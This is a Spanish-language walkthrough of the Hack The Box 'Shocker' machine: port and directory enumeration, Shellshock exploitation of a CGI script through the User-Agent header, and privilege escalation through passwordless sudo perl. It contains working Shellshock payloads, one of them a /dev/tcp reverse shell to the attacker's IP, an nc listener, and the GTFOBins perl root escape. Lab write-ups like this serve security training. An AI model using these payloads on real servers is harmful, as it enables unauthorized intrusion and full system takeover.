Shocker
Shocker
, aunque bastante simple en general, demuestra la gravedad del famoso exploit Shellshock, que afectΓ³ a millones de servidores pΓΊblicos.

Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que estΓ‘n expuestos en la mΓ‘quina Shocker. Este resultado lo almacenaremos en un archivo llamado allPorts
.
β― nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.56 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 20:27 CET
Initiating SYN Stealth Scan at 20:27
Scanning 10.10.10.56 [65535 ports]
Discovered open port 80/tcp on 10.10.10.56
Discovered open port 2222/tcp on 10.10.10.56
Completed SYN Stealth Scan at 20:27, 29.33s elapsed (65535 total ports)
Nmap scan report for 10.10.10.56
Host is up, received user-set (0.54s latency).
Scanned at 2025-02-13 20:27:07 CET for 29s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
2222/tcp open EtherNetIP-1 syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.43 seconds
Raw packets sent: 71016 (3.125MB) | Rcvd: 70953 (2.839MB)
A travΓ©s de la herramienta de extractPorts
, la utilizaremos para extraer los puertos del archivo que nos generΓ³ el primer escaneo a travΓ©s de Nmap
. Esta herramienta nos copiarΓ‘ en la clipboard los puertos encontrados.
β― extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.56
[*] Open ports: 80,2222
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una pΓ‘gina web de Apache
y un servicio SSH
.
β― nmap -sCV -p80,2222 10.10.10.56 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 20:29 CET
Nmap scan report for 10.10.10.56
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 91.64 ms 10.10.16.1
2 48.89 ms 10.10.10.56
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
β― xsltproc targetedXML > index.html
β― python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Accederemos a http://localhost y verificaremos el resultado en un formato mΓ‘s cΓ³modo para su anΓ‘lisis.

Web Enumeration
Realizaremos una comprobaciΓ³n de las tecnologΓas que utiliza el sitio web.
β― whatweb http://10.10.10.56
http://10.10.10.56 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.56]
Al acceder a http://10.10.10.56 nos encontramos con el siguiente contenido de la pΓ‘gina web.

Realizamos una enumeraciΓ³n bΓ‘sica de directorios y pΓ‘ginas y no logramos obtener ninguna informaciΓ³n al respecto.
β― dirsearch -u 'http://10.10.10.56/' -t 50 -i 200 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Shocker/Shocker/reports/http_10.10.10.56/__25-02-14_15-49-09.txt
Target: http://10.10.10.56/
[15:49:09] Starting:
Task Completed
Realizamos nuevamente una enumeraciΓ³n de pΓ‘ginas con extensiΓ³n html
y php
pero tampoco logramos obtener informaciΓ³n relevante.
β― feroxbuster -u http://10.10.10.56 -x html,php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.10.56
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π² Extensions β [html, php]
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 234l 773w 66161c http://10.10.10.56/bug.jpg
200 GET 9l 13w 137c http://10.10.10.56/
200 GET 9l 13w 137c http://10.10.10.56/index.html
A travΓ©s del parΓ‘metro -f
lo que le indicamos a Feroxbuster
de aΓ±adir un slash /
al final de cada peticiΓ³n que se realiza, esto debido que posiblemente podamos encontrar mΓ‘s informaciΓ³n de posibles directorios.
En el resultado obtenido, logramos enumerar el directorio /cgi-bin/
.
β― feroxbuster -u http://10.10.10.56 -f -n --status-codes 200,403 --dont-filter
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.10.56
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β [200, 403]
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π HTTP methods β [GET]
π€ͺ Filter Wildcards β false
πͺ Add Slash β true
π« Do Not Recurse β true
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
403 GET 11l 32w 294c http://10.10.10.56/cgi-bin/
200 GET 234l 773w 66161c http://10.10.10.56/bug.jpg
200 GET 9l 13w 137c http://10.10.10.56/
403 GET 11l 32w 292c http://10.10.10.56/icons/
403 GET 11l 32w 300c http://10.10.10.56/server-status/
Realizaremos una bΓΊsqueda de archivos ejecutables que se puedan encontrar en el directorio /cgi-bin/
. Finalmente logramos enumerar un archivo llamadouser.sh
.
β― feroxbuster -u http://10.10.10.56/cgi-bin/ -x sh,cgi,pl,txt,php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.10.56/cgi-bin/
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π² Extensions β [sh, cgi, pl, txt, php]
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 7l 17w 118c http://10.10.10.56/cgi-bin/user.sh
404 GET 9l 33w 299c http://10.10.10.56/cgi-bin/Style%20Library.sh
Initial Access
ShelShock Attack (User-Agent) [CVE-2014-6271]
Accederemos a http://10.10.10.56/cgi-bin/user.sh y visualizamos el contenido del script.

El endpoint /cgi-bin/user.sh
estΓ‘ ejecutando un script en el servidor y devolviendo su salida.
AnΓ‘lisis de la respuesta:
Content-Type: text/x-sh β El servidor estΓ‘ sirviendo un archivo de script de shell (
.sh
).Just an uptime test script β Mensaje que indica que el script solo muestra el uptime del sistema.
19:11:10 up 5 min, 0 users, load average: 0.00, 0.03, 0.01 β Resultado del comando
uptime
, lo que sugiere que el script ejecuta comandos del sistema.

Si el servidor ejecuta el script sin restricciones, podrΓamos probar Shellshock o command injection enviando una carga en la cabecera User-Agent
o como parΓ‘metro en la URL.
Shellshock (CVE-2014-6271) es una vulnerabilidad en Bash que permite ejecutar comandos arbitrarios a travΓ©s de variables de entorno manipuladas. Se explota inyectando cΓ³digo malicioso en cabeceras HTTP o parΓ‘metros de CGI cuando el servidor usa Bash para ejecutar scripts.
GNU Bash hasta la versiΓ³n 4.3 procesa las cadenas finales despuΓ©s de las definiciones de funciones en los valores de las variables de entorno, lo que permite a atacantes remotos ejecutar cΓ³digo arbitrario a travΓ©s de un entorno diseΓ±ado, como lo demuestran los vectores que involucran la caracterΓstica ForceCommand en OpenSSH sshd, los mΓ³dulos mod_cgi y mod_cgid en el servidor HTTP Apache, scripts ejecutados por clientes DHCP no especificados y otras situaciones en las que la configuraciΓ³n del entorno ocurre a travΓ©s de un lΓmite de privilegios desde la ejecuciΓ³n de Bash, tambiΓ©n conocido como "ShellShock". NOTA: la soluciΓ³n original para este problema era incorrecta; CVE-2014-7169 se ha asignado para cubrir la vulnerabilidad que aΓΊn estΓ‘ presente despuΓ©s de la soluciΓ³n incorrecta.
Nos encontramos con el siguiente repositorio de GitHub que nos mostraba un simple PoC de cΓ³mo intentar explotar el ShellShock
.
Modificaremos el encabezado de User-Agent
para inyectarle el siguiente cΓ³digo malicioso. Verificamos que en la respuesta por parte del servidor, hemos logrado la ejecuciΓ³n de comandos.
User-Agent: () { :; }; echo; /usr/bin/id

El siguiente paso, serΓ‘ lograr obtener una Reverse Shell para acceder al sistema. Nos pondremos en escucha con nc
.
β― nc -nlvp 443
listening on [any] 443 ...
Inyectaremos el siguiente cΓ³digo malicioso en el User-Agent
para establecernos la Reverse Shell.
User-Agent: () { :; }; /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1

Verificaremos que logramos acceder al sistema y visualizar la flag de user.txt.
β― nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.56] 42186
script /dev/null -c bash
Script started, file is /dev/null
shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
2283b57fd1d3********************
Privilege Escalation
Abusing sudoers privilege (perl)
Revisaremos los grupos a los que forma parte el usuario shelly
. Por otro lado, al verificar si disponΓamos de permisos de sudoers
, nos encontramos que tenemos la capacidad de ejecutar como sudo
sin proporcionar credenciales el binario de /usr/bin/perl
.
shelly@Shocker:/usr/lib/cgi-bin$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
En la pΓ‘gina de GTFOBins
podemos encontrar diferentes maneras de cΓ³mo abusar de privilegios de binarios con sudoers
. Nos encontramos la respectiva entrada del binario perl
.
TambiΓ©n, podemos realizar la misma consulta a travΓ©s de la siguiente herramienta de searchbins
que realiza la consulta de GTFOBins
desde la misma terminal.
β― searchbins -b perl -f sudo
[+] Binary: perl
================================================================================
[*] Function: sudo -> [https://gtfobins.github.io/gtfobins/perl/#sudo]
| sudo perl -e 'exec "/bin/sh";'
Realizamos la ejecuciΓ³n del comando que se nos proporciona en GTFOBins
y finalmente logramos abusar del binario /usr/bin/perl
como sudo
y logramos el acceso a root
. Finalmente, comprobamos la flag de root.txt.
shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/bash";'
root@Shocker:/usr/lib/cgi-bin# cat /root/root.txt
47fd73a775177*******************
Γltima actualizaciΓ³n
ΒΏTe fue ΓΊtil?